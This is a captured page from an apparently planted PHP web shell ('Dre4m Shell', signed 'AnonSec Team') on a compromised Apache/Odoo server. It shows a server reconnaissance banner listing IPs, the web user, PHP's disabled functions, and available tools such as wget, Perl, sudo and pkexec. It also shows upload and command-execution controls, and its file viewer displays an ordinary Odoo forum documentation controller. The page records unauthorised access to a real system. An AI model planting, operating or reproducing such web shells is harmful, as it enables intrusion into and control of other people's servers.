Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.19.244.133
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/website_forum_doc/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/website_forum_doc/controllers/main.py
# -*- coding: utf-8 -*-


from odoo import http
from odoo.http import request


class WebsiteDoc(http.Controller):
    @http.route(['/forum/how-to', '/forum/how-to/<model("forum.documentation.toc"):toc>'], type='http', auth="public", website=True)
    def toc(self, toc=None, **kwargs):
        if toc:
            sections = toc.child_ids
            forum = toc.forum_id
        else:
            sections = request.env['forum.documentation.toc'].search([('parent_id', '=', False)],  limit=1)
            forum = sections and sections.forum_id
        value = {
            'toc': toc,
            'main_object': toc or forum,
            'forum': forum,
            'sections': sections,
        }
        return request.render("website_forum_doc.documentation", value)

    @http.route(['''/forum/how-to/<model("forum.documentation.toc"):toc>/<model("forum.post", "[('documentation_toc_id','=',toc[0])]"):post>'''], type='http', auth="public", website=True)
    def post(self, toc, post, **kwargs):
        # TODO: implement a redirect instead of crash
        assert post.documentation_toc_id == toc, "Wrong post!"
        value = {
            'toc': toc,
            'post': post,
            'main_object': post,
            'forum': post.forum_id
        }
        return request.render("website_forum_doc.documentation_post", value)

    @http.route('/forum/<model("forum.forum"):forum>/question/<model("forum.post"):post>/promote', type='http', auth="user", website=True)
    def post_toc(self, forum, post, **kwargs):
        assert request.env.user.karma >= 200, 'You need 200 karma to promote a post to the documentation'
        value = {
            'post': post,
            'forum': post.forum_id,
            'chapters': request.env['forum.documentation.toc'].search([('child_ids', '=', False)])
        }
        return request.render("website_forum_doc.promote_question", value)

    @http.route('/forum/<model("forum.forum"):forum>/promote_ok', type='http', auth="user", website=True)
    def post_toc_ok(self, forum, post_id, toc_id, **kwargs):
        assert request.env.user.karma >= 200, 'Not enough karma, you need 200 to promote a documentation.'
        stage = request.env['forum.documentation.toc'].search([], limit=1)
        request.env['forum.post'].browse(int(post_id)).write({
            'documentation_toc_id': toc_id and int(toc_id) or False,
            'documentation_stage_id': stage and stage.id
        })
        return request.redirect('/forum/' + str(forum.id) + '/question/' + str(post_id))

Anon7 - 2022
AnonSec Team